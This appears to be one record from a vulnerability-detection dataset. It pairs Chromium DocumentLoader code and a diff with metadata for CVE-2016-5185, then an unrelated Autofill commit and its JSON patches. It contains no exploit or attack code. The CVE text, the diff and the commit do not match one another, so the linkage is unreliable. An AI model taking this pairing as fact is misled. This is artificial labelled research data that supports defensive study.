ResourceError::CancelledError(document_loader_->Url()));\n- }\n-\n- in_stop_all_loaders_ = false;\n+ DidFinishNavigation();\n \n TakeObjectSnapshot();\n }"}
|
void DocumentLoader::DidObserveLoadingBehavior(
WebLoadingBehaviorFlag behavior) {
if (frame_) {
DCHECK_GE(state_, kCommitted);
GetLocalFrameClient().DidObserveLoadingBehavior(behavior);
}
}
|
void DocumentLoader::DidObserveLoadingBehavior(
WebLoadingBehaviorFlag behavior) {
if (frame_) {
DCHECK_GE(state_, kCommitted);
GetLocalFrameClient().DidObserveLoadingBehavior(behavior);
}
}
|
C
| null | null | null |
@@ -773,14 +773,15 @@ void DocumentLoader::AppendRedirect(const KURL& url) {
redirect_chain_.push_back(url);
}
-void DocumentLoader::DetachFromFrame() {
- DCHECK(frame_);
-
- // It never makes sense to have a document loader that is detached from its
- // frame have any loads active, so go ahead and kill all the loads.
+void DocumentLoader::StopLoading() {
fetcher_->StopFetching();
if (frame_ && !SentDidFinishLoad())
LoadFailed(ResourceError::CancelledError(Url()));
+}
+
+void DocumentLoader::DetachFromFrame() {
+ DCHECK(frame_);
+ StopLoading();
fetcher_->ClearContext();
// If that load cancellation triggered another detach, leave.
|
Chrome
|
fd506b0ac6c7846ae45b5034044fe85c28ee68ac
|
913109149534a732bdb5461d0ba2759f5d2f50f4
| 0
|
void DocumentLoader::DidObserveLoadingBehavior(
WebLoadingBehaviorFlag behavior) {
if (frame_) {
DCHECK_GE(state_, kCommitted);
GetLocalFrameClient().DidObserveLoadingBehavior(behavior);
}
}
|
141,993
| null |
Remote
|
Not required
|
Partial
|
CVE-2016-5185
|
https://www.cvedetails.com/cve/CVE-2016-5185/
|
CWE-416
|
Medium
|
Partial
|
Partial
| null |
2016-12-17
| 6.8
|
Blink in Google Chrome prior to 54.0.2840.59 for Windows, Mac, and Linux; 54.0.2840.85 for Android incorrectly allowed reentrance of FrameView::updateLifecyclePhasesInternal(), which allowed a remote attacker to perform an out of bounds memory read via crafted HTML pages.
|
2018-01-04
| null | 0
|
https://github.com/chromium/chromium/commit/f2d26633cbd50735ac2af30436888b71ac0abad3
|
f2d26633cbd50735ac2af30436888b71ac0abad3
|
[Autofill] Remove AutofillPopupViewViews and associated feature.
Bug: 906135,831603
Change-Id: I3c982f8b3ffb4928c7c878e74e10113999106499
Reviewed-on: https://chromium-review.googlesource.com/c/1387124
Reviewed-by: Robert Kaplow <rkaplow@chromium.org>
Reviewed-by: Vasilii Sukhanov <vasilii@chromium.org>
Reviewed-by: Fabio Tirelo <ftirelo@chromium.org>
Reviewed-by: Tommy Martino <tmartino@chromium.org>
Commit-Queue: Mathieu Perreault <mathp@chromium.org>
Cr-Commit-Position: refs/heads/master@{#621360}
| 0
|
components/autofill/core/browser/autofill_external_delegate.cc
|
{"sha": "2a07c46e078e5a63a8a8bf0934d0a0234d4c456d", "filename": "chrome/browser/about_flags.cc", "status": "modified", "additions": 0, "deletions": 5, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/browser/about_flags.cc", "raw_url": "https://github.com/chromium/chromium/raw/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/browser/about_flags.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/about_flags.cc?ref=f2d26633cbd50735ac2af30436888b71ac0abad3", "patch": "@@ -2879,11 +2879,6 @@ const FeatureEntry kFeatureEntries[] = {\n kOsDesktop,\n FEATURE_VALUE_TYPE(\n autofill::features::kAutofillLocalCardMigrationShowFeedback)},\n- {\"enable-autofill-native-dropdown-views\",\n- flag_descriptions::kEnableAutofillNativeDropdownViewsName,\n- flag_descriptions::kEnableAutofillNativeDropdownViewsDescription,\n- kOsDesktop,\n- FEATURE_VALUE_TYPE(autofill::features::kAutofillExpandedPopupViews)},\n {\"enable-autofill-save-card-dialog-unlabeled-expiration-date\",\n flag_descriptions::\n kEnableAutofillSaveCardDialogUnlabeledExpirationDateName,"}<_**next**_>{"sha": "7bd34b889a4f502e3eafeda21e8c38565e001955", "filename": "chrome/browser/ui/BUILD.gn", "status": "modified", "additions": 0, "deletions": 2, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/browser/ui/BUILD.gn", "raw_url": "https://github.com/chromium/chromium/raw/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/browser/ui/BUILD.gn", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/BUILD.gn?ref=f2d26633cbd50735ac2af30436888b71ac0abad3", "patch": "@@ -2371,8 +2371,6 @@ jumbo_split_static_library(\"ui\") {\n \"views/autofill/autofill_popup_base_view.h\",\n \"views/autofill/autofill_popup_view_native_views.cc\",\n \"views/autofill/autofill_popup_view_native_views.h\",\n- \"views/autofill/autofill_popup_view_views.cc\",\n- \"views/autofill/autofill_popup_view_views.h\",\n \"views/autofill/card_unmask_prompt_views.cc\",\n \"views/autofill/card_unmask_prompt_views.h\",\n \"views/autofill/local_card_migration_bubble_views.cc\","}<_**next**_>{"sha": "eaca9a07040fdc9145f80954e98b965c371f851e", "filename": "chrome/browser/ui/autofill/autofill_popup_controller_interactive_uitest.cc", "status": "modified", "additions": 5, "deletions": 25, "changes": 30, "blob_url": "https://github.com/chromium/chromium/blob/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/browser/ui/autofill/autofill_popup_controller_interactive_uitest.cc", "raw_url": "https://github.com/chromium/chromium/raw/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/browser/ui/autofill/autofill_popup_controller_interactive_uitest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/autofill/autofill_popup_controller_interactive_uitest.cc?ref=f2d26633cbd50735ac2af30436888b71ac0abad3", "patch": "@@ -5,7 +5,6 @@\n #include <memory>\n \n #include \"base/macros.h\"\n-#include \"base/test/scoped_feature_list.h\"\n #include \"build/build_config.h\"\n #include \"chrome/browser/ui/autofill/autofill_popup_view.h\"\n #include \"chrome/browser/ui/browser.h\"\n@@ -17,34 +16,21 @@\n #include \"components/autofill/core/browser/autofill_manager.h\"\n #include \"components/autofill/core/browser/autofill_test_utils.h\"\n #include \"components/autofill/core/browser/test_autofill_external_delegate.h\"\n-#include \"components/autofill/core/common/autofill_features.h\"\n #include \"content/public/browser/render_frame_host.h\"\n #include \"content/public/browser/web_contents.h\"\n #include \"content/public/browser/web_contents_observer.h\"\n #include \"ui/gfx/geometry/rect.h\"\n #include \"ui/gfx/geometry/vector2d.h\"\n \n namespace autofill {\n-namespace {\n \n-} // namespace\n-\n-// Test params:\n-// - bool popup_views_enabled: whether feature AutofillExpandedPopupViews\n-// is enabled for testing.\n-class AutofillPopupControllerBrowserTest\n- : public InProcessBrowserTest,\n- public content::WebContentsObserver,\n- public ::testing::WithParamInterface<bool> {\n+class AutofillPopupControllerBrowserTest : public InProcessBrowserTest,\n+ public content::WebContentsObserver {\n public:\n AutofillPopupControllerBrowserTest() {}\n ~AutofillPopupControllerBrowserTest() override {}\n \n void SetUpOnMainThread() override {\n- const bool popup_views_enabled = GetParam();\n- scoped_feature_list_.InitWithFeatureState(\n- features::kAutofillExpandedPopupViews, popup_views_enabled);\n-\n content::WebContents* web_contents =\n browser()->tab_strip_model()->GetActiveWebContents();\n ASSERT_TRUE(web_contents != NULL);\n@@ -68,8 +54,6 @@ class AutofillPopupControllerBrowserTest\n \n protected:\n std::unique_ptr<TestAutofillExternalDelegate> autofill_external_delegate_;\n-\n- base::test::ScopedFeatureList scoped_feature_list_;\n };\n \n #if defined(OS_MACOSX)\n@@ -78,7 +62,7 @@ class AutofillPopupControllerBrowserTest\n #else\n #define MAYBE_HidePopupOnWindowMove HidePopupOnWindowMove\n #endif\n-IN_PROC_BROWSER_TEST_P(AutofillPopupControllerBrowserTest,\n+IN_PROC_BROWSER_TEST_F(AutofillPopupControllerBrowserTest,\n MAYBE_HidePopupOnWindowMove) {\n test::GenerateTestAutofillPopup(autofill_external_delegate_.get());\n \n@@ -92,7 +76,7 @@ IN_PROC_BROWSER_TEST_P(AutofillPopupControllerBrowserTest,\n EXPECT_TRUE(autofill_external_delegate_->popup_hidden());\n }\n \n-IN_PROC_BROWSER_TEST_P(AutofillPopupControllerBrowserTest,\n+IN_PROC_BROWSER_TEST_F(AutofillPopupControllerBrowserTest,\n HidePopupOnWindowResize) {\n test::GenerateTestAutofillPopup(autofill_external_delegate_.get());\n \n@@ -116,7 +100,7 @@ IN_PROC_BROWSER_TEST_P(AutofillPopupControllerBrowserTest,\n #else\n #define MAYBE_DeleteDelegateBeforePopupHidden DeleteDelegateBeforePopupHidden\n #endif\n-IN_PROC_BROWSER_TEST_P(AutofillPopupControllerBrowserTest,\n+IN_PROC_BROWSER_TEST_F(AutofillPopupControllerBrowserTest,\n MAYBE_DeleteDelegateBeforePopupHidden) {\n test::GenerateTestAutofillPopup(autofill_external_delegate_.get());\n \n@@ -126,8 +110,4 @@ IN_PROC_BROWSER_TEST_P(AutofillPopupControllerBrowserTest,\n autofill_external_delegate_.reset();\n }\n \n-INSTANTIATE_TEST_CASE_P(All,\n- AutofillPopupControllerBrowserTest,\n- ::testing::Bool());\n-\n } // namespace autofill"}<_**next**_>{"sha": "14fd4b8acbcf2262fd2415a15cb41219fd21d3e4", "filename": "chrome/browser/ui/views/autofill/autofill_popup_base_view.cc", "status": "modified", "additions": 14, "deletions": 36, "changes": 50, "blob_url": "https://github.com/chromium/chromium/blob/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/browser/ui/views/autofill/autofill_popup_base_view.cc", "raw_url": "https://github.com/chromium/chromium/raw/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/browser/ui/views/autofill/autofill_popup_base_view.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/autofill/autofill_popup_base_view.cc?ref=f2d26633cbd50735ac2af30436888b71ac0abad3", "patch": "@@ -88,12 +88,10 @@ void AutofillPopupBaseView::DoShow() {\n params.delegate = this;\n params.parent = parent_widget_ ? parent_widget_->GetNativeView()\n : delegate_->container_view();\n- AddExtraInitParams(¶ms);\n+ // Ensure the bubble border is not painted on an opaque background.\n+ params.opacity = views::Widget::InitParams::TRANSLUCENT_WINDOW;\n+ params.shadow_type = views::Widget::InitParams::SHADOW_TYPE_NONE;\n widget->Init(params);\n-\n- std::unique_ptr<views::View> wrapper = CreateWrapperView();\n- if (wrapper)\n- widget->SetContentsView(wrapper.release());\n widget->AddObserver(this);\n \n // No animation for popup appearance (too distracting).\n@@ -164,30 +162,6 @@ void AutofillPopupBaseView::RemoveWidgetObservers() {\n views::WidgetFocusManager::GetInstance()->RemoveFocusChangeListener(this);\n }\n \n-// TODO(crbug.com/831603): Inline this function once AutofillPopupViewViews is\n-// deleted.\n-void AutofillPopupBaseView::AddExtraInitParams(\n- views::Widget::InitParams* params) {\n- // Ensure the bubble border is not painted on an opaque background.\n- params->opacity = views::Widget::InitParams::TRANSLUCENT_WINDOW;\n- params->shadow_type = views::Widget::InitParams::SHADOW_TYPE_NONE;\n-}\n-\n-std::unique_ptr<views::View> AutofillPopupBaseView::CreateWrapperView() {\n- return nullptr;\n-}\n-\n-std::unique_ptr<views::Border> AutofillPopupBaseView::CreateBorder() {\n- auto border = std::make_unique<views::BubbleBorder>(\n- views::BubbleBorder::NONE, views::BubbleBorder::SMALL_SHADOW,\n- SK_ColorWHITE);\n- border->SetCornerRadius(GetCornerRadius());\n- border->set_md_shadow_elevation(\n- ChromeLayoutProvider::Get()->GetShadowElevationMetric(\n- views::EMPHASIS_MEDIUM));\n- return border;\n-}\n-\n void AutofillPopupBaseView::SetClipPath() {\n SkRect local_bounds = gfx::RectToSkRect(GetLocalBounds());\n SkScalar radius = SkIntToScalar(GetCornerRadius());\n@@ -215,13 +189,6 @@ void AutofillPopupBaseView::DoUpdateBoundsAndRedrawPopup() {\n SchedulePaint();\n }\n \n-gfx::Rect AutofillPopupBaseView::CalculateClippingBounds() const {\n- if (parent_widget_)\n- return parent_widget_->GetClientAreaBoundsInScreen();\n-\n- return PopupViewCommon().GetWindowBounds(delegate_->container_view());\n-}\n-\n void AutofillPopupBaseView::OnNativeFocusChanged(gfx::NativeView focused_now) {\n if (GetWidget() && GetWidget()->GetNativeView() != focused_now)\n HideController();\n@@ -371,6 +338,17 @@ void AutofillPopupBaseView::HideController() {\n // timing of that deletion is tricky.\n }\n \n+std::unique_ptr<views::Border> AutofillPopupBaseView::CreateBorder() {\n+ auto border = std::make_unique<views::BubbleBorder>(\n+ views::BubbleBorder::NONE, views::BubbleBorder::SMALL_SHADOW,\n+ SK_ColorWHITE);\n+ border->SetCornerRadius(GetCornerRadius());\n+ border->set_md_shadow_elevation(\n+ ChromeLayoutProvider::Get()->GetShadowElevationMetric(\n+ views::EMPHASIS_MEDIUM));\n+ return border;\n+}\n+\n gfx::NativeView AutofillPopupBaseView::container_view() {\n return delegate_->container_view();\n }"}<_**next**_>{"sha": "19df617e0eaca9398c009ad728c1d54d5e3ac341", "filename": "chrome/browser/ui/views/autofill/autofill_popup_base_view.h", "status": "modified", "additions": 4, "deletions": 16, "changes": 20, "blob_url": "https://github.com/chromium/chromium/blob/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/browser/ui/views/autofill/autofill_popup_base_view.h", "raw_url": "https://github.com/chromium/chromium/raw/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/browser/ui/views/autofill/autofill_popup_base_view.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/autofill/autofill_popup_base_view.h?ref=f2d26633cbd50735ac2af30436888b71ac0abad3", "patch": "@@ -57,28 +57,13 @@ class AutofillPopupBaseView : public views::WidgetDelegateView,\n // Hide the widget and delete |this|.\n void DoHide();\n \n- // TODO(crbug.com/831603): make the methods private and non-virtual when\n- // AutofillPopupViewViews is gone.\n- virtual void AddExtraInitParams(views::Widget::InitParams* params);\n-\n- // Returns the widget's contents view.\n- // TODO(crbug.com/831603): remove.\n- virtual std::unique_ptr<views::View> CreateWrapperView();\n-\n- // Returns the border to be applied to the popup.\n- virtual std::unique_ptr<views::Border> CreateBorder();\n-\n // Ensure the child views are not rendered beyond the bubble border\n // boundaries. Should be overridden together with CreateBorder.\n- virtual void SetClipPath();\n+ void SetClipPath();\n \n // Update size of popup and paint (virtual for testing).\n virtual void DoUpdateBoundsAndRedrawPopup();\n \n- // Compute the space available for the popup. It's the space between its top\n- // and the bottom of its parent view, minus some margin space.\n- gfx::Rect CalculateClippingBounds() const;\n-\n const AutofillPopupViewDelegate* delegate() { return delegate_; }\n \n private:\n@@ -114,6 +99,9 @@ class AutofillPopupBaseView : public views::WidgetDelegateView,\n // eventually hide this view in the process.\n void HideController();\n \n+ // Returns the border to be applied to the popup.\n+ std::unique_ptr<views::Border> CreateBorder();\n+\n // Must return the container view for this popup.\n gfx::NativeView container_view();\n "}<_**next**_>{"sha": "de4516d5587c0a2d19b1a0067f7364fcce89cd81", "filename": "chrome/browser/ui/views/autofill/autofill_popup_view_native_views.cc", "status": "modified", "additions": 27, "deletions": 0, "changes": 27, "blob_url": "https://github.com/chromium/chromium/blob/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/browser/ui/views/autofill/autofill_popup_view_native_views.cc", "raw_url": "https://github.com/chromium/chromium/raw/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/browser/ui/views/autofill/autofill_popup_view_native_views.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/autofill/autofill_popup_view_native_views.cc?ref=f2d26633cbd50735ac2af30436888b71ac0abad3", "patch": "@@ -7,6 +7,8 @@\n #include <algorithm>\n \n #include \"base/strings/utf_string_conversions.h\"\n+#include \"build/build_config.h\"\n+#include \"chrome/browser/platform_util.h\"\n #include \"chrome/browser/ui/autofill/autofill_popup_controller.h\"\n #include \"chrome/browser/ui/autofill/autofill_popup_layout_model.h\"\n #include \"chrome/browser/ui/autofill/popup_view_common.h\"\n@@ -1093,4 +1095,29 @@ void AutofillPopupViewNativeViews::DoUpdateBoundsAndRedrawPopup() {\n SchedulePaint();\n }\n \n+// static\n+AutofillPopupView* AutofillPopupView::Create(\n+ AutofillPopupController* controller) {\n+#if defined(OS_MACOSX)\n+ // It's possible for the container_view to not be in a window. In that case,\n+ // cancel the popup since we can't fully set it up.\n+ if (!platform_util::GetTopLevel(controller->container_view()))\n+ return nullptr;\n+#endif\n+\n+ views::Widget* observing_widget =\n+ views::Widget::GetTopLevelWidgetForNativeView(\n+ controller->container_view());\n+\n+#if !defined(OS_MACOSX)\n+ // If the top level widget can't be found, cancel the popup since we can't\n+ // fully set it up. On Mac Cocoa browser, |observing_widget| is null\n+ // because the parent is not a views::Widget.\n+ if (!observing_widget)\n+ return nullptr;\n+#endif\n+\n+ return new AutofillPopupViewNativeViews(controller, observing_widget);\n+}\n+\n } // namespace autofill"}<_**next**_>{"sha": "0ce318b55d4aeb09b5549b7fd6be5c0712ec1c8f", "filename": "chrome/browser/ui/views/autofill/autofill_popup_view_native_views.h", "status": "modified", "additions": 2, "deletions": 8, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/browser/ui/views/autofill/autofill_popup_view_native_views.h", "raw_url": "https://github.com/chromium/chromium/raw/f2d26633cbd50735ac2af30436888b71ac0abad3/chrome/browser/ui/views/autofill/autofill_popup_view_native_views.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/autofill/autofill_popup_view_native_views.h?ref=f2d26633cbd50735ac2af30436888b71ac0abad3", "patch": "@@ -58,12 +58,7 @@ class AutofillPopupRowView : public views::View {\n };\n \n // Views implementation for the autofill and password suggestion.\n-// TODO(https://crbug.com/768881): Once this implementation is complete, this\n-// class should be renamed to AutofillPopupViewViews and old\n-// AutofillPopupViewViews should be removed. The main difference of\n-// AutofillPopupViewNativeViews from AutofillPopupViewViews is that child views\n-// are drawn using toolkit-views framework, in contrast to\n-// AutofillPopupViewViews, where individuals rows are drawn directly on canvas.\n+// TODO(https://crbug.com/831603): Rename to AutofillPopupViewViews.\n class AutofillPopupViewNativeViews : public AutofillPopupBaseView,\n public AutofillPopupView {\n public:\n@@ -81,8 +76,7 @@ class AutofillPopupViewNativeViews : public AutofillPopupBaseView,\n \n // AutofillPopupBaseView:\n // TODO(crbug.com/831603): Remove these overrides and the corresponding\n- // methods in AutofillPopupBaseView once deprecation of\n- // AutofillPopupViewViews is complete.\n+ // methods in AutofillPopupBaseView.\n void OnMouseMoved(const ui::MouseEvent& event) override {}\n \n AutofillPopupController* controller() { return controller_; }"}<_**next**_>{"sha": "a4596330b82640b4ad7a5af864e71c9adf8c948b", "filename": "chrome/browser/ui/views/autofill/autofill_popup_view_views.cc", "status": "removed", "additions": 0, "deletions": 369, "changes": 369, "blob_url": "https://github.com/chromium/chromium/blob/1b9e54bfbe066e986efe150e1596112dbaab6652/chrome/browser/ui/views/autofill/autofill_popup_view_views.cc", "raw_url": "https://github.com/chromium/chromium/raw/1b9e54bfbe066e986efe150e1596112dbaab6652/chrome/browser/ui/views/autofill/autofill_popup_view_views.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/views/autofill/autofill_popup_view_views.cc?ref=1b9e54bfbe066e986efe150e1596112dbaab6652", "patch": "@@ -1,369 +0,0 @@\n-// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n-// Use of this source code is governed by a BSD-style license that can be\n-// found in the LICENSE file.\n-\n-#include \"chrome/browser/ui/views/autofill/autofill_popup_view_views.h\"\n-\n-#include \"base/feature_list.h\"\n-#include \"base/optional.h\"\n-#include \"build/build_config.h\"\n-#include \"build/buildflag.h\"\n-#include \"chrome/browser/platform_util.h\"\n-#include \"chrome/browser/ui/autofill/autofill_popup_controller.h\"\n-#include \"chrome/browser/ui/autofill/autofill_popup_layout_model.h\"\n-#include \"chrome/browser/ui/views/autofill/autofill_popup_view_native_views.h\"\n-#include \"components/autofill/core/browser/popup_item_ids.h\"\n-#include \"components/autofill/core/browser/suggestion.h\"\n-#include \"components/autofill/core/common/autofill_features.h\"\n-#include \"ui/accessibility/ax_node_data.h\"\n-#include \"ui/accessibility/platform/ax_platform_node.h\"\n-#include \"ui/base/l10n/l10n_util.h\"\n-#include \"ui/events/keycodes/keyboard_codes.h\"\n-#include \"ui/gfx/canvas.h\"\n-#include \"ui/gfx/geometry/point.h\"\n-#include \"ui/gfx/geometry/rect.h\"\n-#include \"ui/gfx/image/image.h\"\n-#include \"ui/gfx/native_widget_types.h\"\n-#include \"ui/gfx/text_utils.h\"\n-#include \"ui/views/accessibility/view_accessibility.h\"\n-#include \"ui/views/border.h\"\n-#include \"ui/views/controls/scroll_view.h\"\n-#include \"ui/views/view.h\"\n-#include \"ui/views/widget/widget.h\"\n-\n-namespace autofill {\n-\n-namespace {\n-\n-// The minimum vertical space between the bottom of the autofill popup and the\n-// bottom of the Chrome frame.\n-// TODO(crbug.com/739978): Investigate if we should compute this distance\n-// programmatically. 10dp may not be enough for windows with thick borders.\n-const int kPopupBottomMargin = 10;\n-\n-// The thickness of the border for the autofill popup in dp.\n-const int kPopupBorderThicknessDp = 1;\n-\n-// Child view only for triggering accessibility events. Rendering is handled\n-// by |AutofillPopupViewViews|.\n-class AutofillPopupChildView : public views::View {\n- public:\n- explicit AutofillPopupChildView(const Suggestion& suggestion,\n- int32_t set_size,\n- int32_t pos_in_set)\n- : suggestion_(suggestion),\n- is_selected_(false),\n- set_size_(set_size),\n- pos_in_set_(pos_in_set) {\n- SetFocusBehavior(suggestion.frontend_id == POPUP_ITEM_ID_SEPARATOR\n- ? FocusBehavior::NEVER\n- : FocusBehavior::ALWAYS);\n- }\n-\n- void OnSelected() { is_selected_ = true; }\n-\n- void OnUnselected() { is_selected_ = false; }\n-\n- private:\n- ~AutofillPopupChildView() override {}\n-\n- // views::Views implementation\n- void GetAccessibleNodeData(ui::AXNodeData* node_data) override {\n- node_data->SetName(suggestion_.value);\n-\n- bool is_separator = suggestion_.frontend_id == POPUP_ITEM_ID_SEPARATOR;\n- if (is_separator) {\n- // Separators are not selectable.\n- node_data->role = ax::mojom::Role::kSplitter;\n- } else {\n- // Options are selectable.\n- node_data->role = ax::mojom::Role::kMenuItem;\n- node_data->AddBoolAttribute(ax::mojom::BoolAttribute::kSelected,\n- is_selected_);\n- }\n-\n- node_data->AddIntAttribute(ax::mojom::IntAttribute::kSetSize, set_size_);\n- node_data->AddIntAttribute(ax::mojom::IntAttribute::kPosInSet, pos_in_set_);\n- }\n-\n- const Suggestion& suggestion_;\n-\n- bool is_selected_;\n-\n- // Total number of suggestions.\n- const int32_t set_size_;\n-\n- // Position of suggestion in list (1-based index).\n- const int32_t pos_in_set_;\n-\n- DISALLOW_COPY_AND_ASSIGN(AutofillPopupChildView);\n-};\n-\n-} // namespace\n-\n-AutofillPopupViewViews::AutofillPopupViewViews(\n- AutofillPopupController* controller,\n- views::Widget* parent_widget)\n- : AutofillPopupBaseView(controller, parent_widget),\n- controller_(controller) {\n- CreateChildViews();\n- SetFocusBehavior(FocusBehavior::ALWAYS);\n-}\n-\n-AutofillPopupViewViews::~AutofillPopupViewViews() {}\n-\n-void AutofillPopupViewViews::Show() {\n- DoShow();\n- ui::AXPlatformNode::OnInputSuggestionsAvailable();\n- // Fire these the first time a menu is visible. By firing these and the\n- // matching end events, we are telling screen readers that the focus\n- // is only changing temporarily, and the screen reader will restore the\n- // focus back to the appropriate textfield when the menu closes.\n- NotifyAccessibilityEvent(ax::mojom::Event::kMenuStart, true);\n-}\n-\n-void AutofillPopupViewViews::Hide() {\n- // The controller is no longer valid after it hides us.\n- controller_ = NULL;\n- ui::AXPlatformNode::OnInputSuggestionsUnavailable();\n- DoHide();\n- NotifyAccessibilityEvent(ax::mojom::Event::kMenuEnd, true);\n-}\n-\n-void AutofillPopupViewViews::OnSuggestionsChanged() {\n- // We recreate the child views so we can be sure the |controller_|'s\n- // |GetLineCount()| will match the number of child views. Otherwise,\n- // the number of suggestions i.e. |GetLineCount()| may not match 1x1 with the\n- // child views. See crbug.com/697466.\n- CreateChildViews();\n- DoUpdateBoundsAndRedrawPopup();\n-}\n-\n-void AutofillPopupViewViews::OnPaint(gfx::Canvas* canvas) {\n- if (!controller_)\n- return;\n-\n- canvas->DrawColor(GetNativeTheme()->GetSystemColor(\n- ui::NativeTheme::kColorId_ResultsTableNormalBackground));\n- OnPaintBorder(canvas);\n-\n- DCHECK_EQ(controller_->GetLineCount(), child_count());\n- for (int i = 0; i < controller_->GetLineCount(); ++i) {\n- gfx::Rect line_rect = controller_->layout_model().GetRowBounds(i);\n-\n- if (controller_->GetSuggestionAt(i).frontend_id ==\n- POPUP_ITEM_ID_SEPARATOR) {\n- canvas->FillRect(line_rect,\n- GetNativeTheme()->GetSystemColor(\n- ui::NativeTheme::kColorId_ResultsTableDimmedText));\n- } else {\n- DrawAutofillEntry(canvas, i, line_rect);\n- }\n- }\n-}\n-\n-void AutofillPopupViewViews::AddExtraInitParams(\n- views::Widget::InitParams* params) {}\n-\n-std::unique_ptr<views::View> AutofillPopupViewViews::CreateWrapperView() {\n- auto wrapper_view = std::make_unique<views::ScrollView>();\n- scroll_view_ = wrapper_view.get();\n- scroll_view_->set_hide_horizontal_scrollbar(true);\n- scroll_view_->SetContents(this);\n- return wrapper_view;\n-}\n-\n-std::unique_ptr<views::Border> AutofillPopupViewViews::CreateBorder() {\n- return views::CreateSolidBorder(\n- kPopupBorderThicknessDp,\n- GetNativeTheme()->GetSystemColor(\n- ui::NativeTheme::kColorId_UnfocusedBorderColor));\n-}\n-\n-void AutofillPopupViewViews::SetClipPath() {}\n-\n-// The method differs from the implementation in AutofillPopupBaseView due to\n-// |scroll_view_|. The base class doesn't support scrolling when there is not\n-// enough vertical space.\n-void AutofillPopupViewViews::DoUpdateBoundsAndRedrawPopup() {\n- gfx::Rect bounds = delegate()->popup_bounds();\n-\n- SetSize(bounds.size());\n-\n- gfx::Rect clipping_bounds = CalculateClippingBounds();\n-\n- int available_vertical_space = clipping_bounds.height() -\n- (bounds.y() - clipping_bounds.y()) -\n- kPopupBottomMargin;\n-\n- if (available_vertical_space < bounds.height()) {\n- // The available space is not enough for the full popup so clamp the widget\n- // to what's available. Since the scroll view will show a scroll bar,\n- // increase the width so that the content isn't partially hidden.\n- const int extra_width =\n- scroll_view_ ? scroll_view_->GetScrollBarLayoutWidth() : 0;\n- bounds.set_width(bounds.width() + extra_width);\n- bounds.set_height(available_vertical_space);\n- }\n-\n- // Account for the scroll view's border so that the content has enough space.\n- bounds.Inset(-GetWidget()->GetRootView()->border()->GetInsets());\n- GetWidget()->SetBounds(bounds);\n-\n- SchedulePaint();\n-}\n-\n-AutofillPopupChildView* AutofillPopupViewViews::GetChildRow(\n- size_t child_index) const {\n- DCHECK_LT(child_index, static_cast<size_t>(child_count()));\n- return static_cast<AutofillPopupChildView*>(\n- const_cast<views::View*>(child_at(child_index)));\n-}\n-\n-void AutofillPopupViewViews::OnSelectedRowChanged(\n- base::Optional<int> previous_row_selection,\n- base::Optional<int> current_row_selection) {\n- SchedulePaint();\n-\n- if (previous_row_selection) {\n- GetChildRow(*previous_row_selection)->OnUnselected();\n- }\n- if (current_row_selection) {\n- AutofillPopupChildView* current_row = GetChildRow(*current_row_selection);\n- current_row->OnSelected();\n- current_row->NotifyAccessibilityEvent(ax::mojom::Event::kSelection, true);\n- }\n-}\n-\n-/**\n-* Autofill entries in ltr.\n-*\n-* ............................................................................\n-* . ICON | HTTP WARNING MESSAGE VALUE | LABEL .\n-* ............................................................................\n-* . OTHER AUTOFILL ENTRY VALUE | LABEL | ICON .\n-* ............................................................................\n-*\n-* Autofill entries in rtl.\n-*\n-* ............................................................................\n-* . LABEL | HTTP WARNING MESSAGE VALUE | ICON .\n-* ............................................................................\n-* . ICON | LABEL | OTHER AUTOFILL ENTRY VALUE .\n-* ............................................................................\n-*\n-* Anyone who wants to modify the code below, remember to make sure that HTTP\n-* warning entry displays right. To trigger the warning message entry, enable\n-* #mark-non-secure-as flag as \"display form warning\", go to goo.gl/CEIjc6 with\n-* stored autofill info and check for credit card or password forms.\n-*/\n-void AutofillPopupViewViews::DrawAutofillEntry(gfx::Canvas* canvas,\n- int index,\n- const gfx::Rect& entry_rect) {\n- canvas->FillRect(\n- entry_rect,\n- GetNativeTheme()->GetSystemColor(\n- controller_->GetBackgroundColorIDForRow(index)));\n-\n- const bool is_rtl = controller_->IsRTL();\n- const int text_align =\n- is_rtl ? gfx::Canvas::TEXT_ALIGN_RIGHT : gfx::Canvas::TEXT_ALIGN_LEFT;\n- gfx::Rect value_rect = entry_rect;\n- value_rect.Inset(AutofillPopupLayoutModel::kEndPadding, 0);\n-\n- // If the icon is on the right of the rect, no matter in RTL or LTR mode.\n- bool icon_on_the_right = !is_rtl;\n- int x_align_left = icon_on_the_right ? value_rect.right() : value_rect.x();\n-\n- // Draw the Autofill icon, if one exists\n- int row_height = controller_->layout_model().GetRowBounds(index).height();\n- const gfx::ImageSkia image = controller_->layout_model().GetIconImage(index);\n- if (!image.isNull()) {\n- int icon_y = entry_rect.y() + (row_height - image.height()) / 2;\n-\n- int icon_x_align_left =\n- icon_on_the_right ? x_align_left - image.width() : x_align_left;\n-\n- canvas->DrawImageInt(image, icon_x_align_left, icon_y);\n-\n- // An icon was drawn; adjust the |x_align_left| value for the next element.\n- x_align_left =\n- icon_x_align_left +\n- (is_rtl ? image.width() + AutofillPopupLayoutModel::kIconPadding\n- : -AutofillPopupLayoutModel::kIconPadding);\n- }\n-\n- // Draw the value text\n- const int value_width = 